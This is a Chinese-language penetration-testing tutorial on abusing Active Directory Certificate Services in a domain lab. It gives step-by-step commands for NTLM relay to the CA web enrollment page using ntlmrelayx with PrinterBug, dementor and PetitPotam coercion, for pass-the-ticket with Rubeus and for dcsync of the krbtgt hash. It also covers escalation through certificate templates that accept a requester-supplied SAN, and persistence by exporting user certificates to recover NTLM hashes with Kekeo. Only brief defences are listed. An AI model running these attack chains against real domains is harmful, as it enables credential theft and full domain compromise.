ADCS在内网渗透中的应用
字数 1441 2025-08-20 18:17:59
ADCS在内网渗透中的应用
文章前言
在攻防演练中遇到部署了证书服务(AD CS)的内网环境时,可以利用证书服务发布的部分证书进行多种内网攻击尝试:
- 身份认证:在本地检索是否存在相关证书并用该证书进行域内身份认证
- 权限维持:申请证书后即使后期用户更改密码,仍可使用证书获取NTLM Hash
- 中继攻击:利用HTTP协议的CA证书申请界面进行NTLM Relay攻击
- 配置滥用:利用配置错误实现权限提升
企业PKI基础
PKI(公钥基础结构)是通过使用公钥技术和数字证书来确保系统信息安全的体系,微软的AD CS(Active Directory证书服务)是其PKI实现,可与AD DS服务结合用于:
- 加密文件系统
- 数字签名
- 身份验证
证书颁发机构(CA)
CA分为两类:
- 企业CA:与AD DS服务结合,信息存储在AD DS数据库中,支持证书模板和自动注册证书
- 独立CA
证书信任问题解决方案:
- 手动导入CA证书(非域内计算机)
- 使用组策略将企业根CA证书传播到域中所有用户和计算机的"受信任的根证书颁发机构"
证书注册流程
-
客户端生成证书申请文件(可使用openssl或在线工具)
openssl req -new -SHA256 -newkey rsa:4096 -nodes -keyout www.al1ex.com.key -out www.al1ex.com.csr -subj "/C=CN/ST=Beijing/L=Beijing/O=netstarsec/OU=sec/CN=www.al1ex.com" -
客户端发送证书申请文件给CA并选择证书模板
-
CA验证模板是否存在、用户权限、证书用途等信息
-
CA使用私钥签署证书
证书注册接口
-
证书注册网页:
- 需安装"证书颁发机构Web"注册角色
- 通过IIS服务器进行演示流程
-
certmgr.msc/certlm.msc:
- 用于用户/计算机证书的GUI申请方式
-
Powershell:
- 使用certreq.exe或Get-Certificate命令
内网攻防技术
ADCS中继攻击
漏洞原理
AD CS的HTTP协议证书注册接口易受NTLM中继攻击,原因:
- 未启用NTLM中继保护
- 使用NTLM而非更安全的Kerberos进行身份验证
利用步骤
-
定位域内CA机器:
certutil -config - -ping -
安装支持AD CS攻击的Impacket版本:
python3 -m pip install . -
开启监听并设置目标CA:
python3 ntlmrelayx.py -t http://192.168.174.160/certsrv/certfnsh.asp -smb2support --adcs -
强制认证方法:
- printerbug:
python3 printerbug.py hacke/testuser:'test@123'@dc.hacke.testlab 192.168.174.129 - dementor.py:
python3 dementor.py -d hacke.testlab -u Al1ex -p 'Kksvqm@123' 192.168.174.129 192.168.174.2 - Petitpotam.py:
python3 PetitPotam.py -d hacke.testlab -u Al1ex -p 'Kksvqm@123' 192.168.174.129 192.168.174.160
- printerbug:
-
获取TGT并注入:
Rubeus.exe asktgt /user:DC$ /certificate:base64-certificate /ptt -
导出hash:
KERBEROS::List lsadump::dcsync /user:krbtgt
防御措施
- 开启SSL认证
- 开启NTML中继保护
ADCS权限提升
基本原理
证书模板中若包含以下策略之一则具备Kerberos认证能力:
- 客户端认证(OID 1.3.6.1.5.5.7.3.2)
- PKINIT客户端身份验证(1.3.6.1.5.2.3.4)
- 智能卡登录(OID 1.3.6.1.4.1.311.20.2.2)
- 任何目的(OID 2.5.29.37.0)
利用条件
- 企业CA授予低级用户注册权限
- CA证书无需授权签名
- CA证书管理程序批准已禁用
- 证书模板允许请求者在CSR中指定subjectAltName(SAN)
- 证书模板定义了启用身份验证的EKU
利用步骤
- 使用certmgr申请证书(以域管为例)
- 查看并导出本地计算机证书:
certutil -user -store My certutil -user -exportPFX f7bf99c86db5107e540c75055b17c2ddacbccb1a ADM.pfx - 使用Rubeus请求票证并PTT:
Rubeus.exe asktgt /user:administrator /certificate:ADM.pfx /password:123456 /ptt - 查看本地缓存票证:
klist
ADCS权限维持
基本原理
使用证书进行Kerberos认证时,返回票据的PAC包中包含NTLM票据,可用于获取用户NTLM Hash。即使重置密码,证书仍可作为独立身份验证材料使用。
利用步骤
- 发现目标主机中的用户证书
- 查看并导出可用证书:
certutil -user -store My certutil -user -exportPFX f418dede290437696deeb6f53f099f1b58c918fb c:\Users\Al1ex.HACKE\Desktop\Al1ex.pfx - 将pfx文件导入本地计算机
- 使用Kekeo获取用户的NTLM:
tgt::pac /subject:Al1ex /castore:current_user /domain:hacke.testlab - 即使用户修改密码后,仍可使用证书窃取NTLM Hash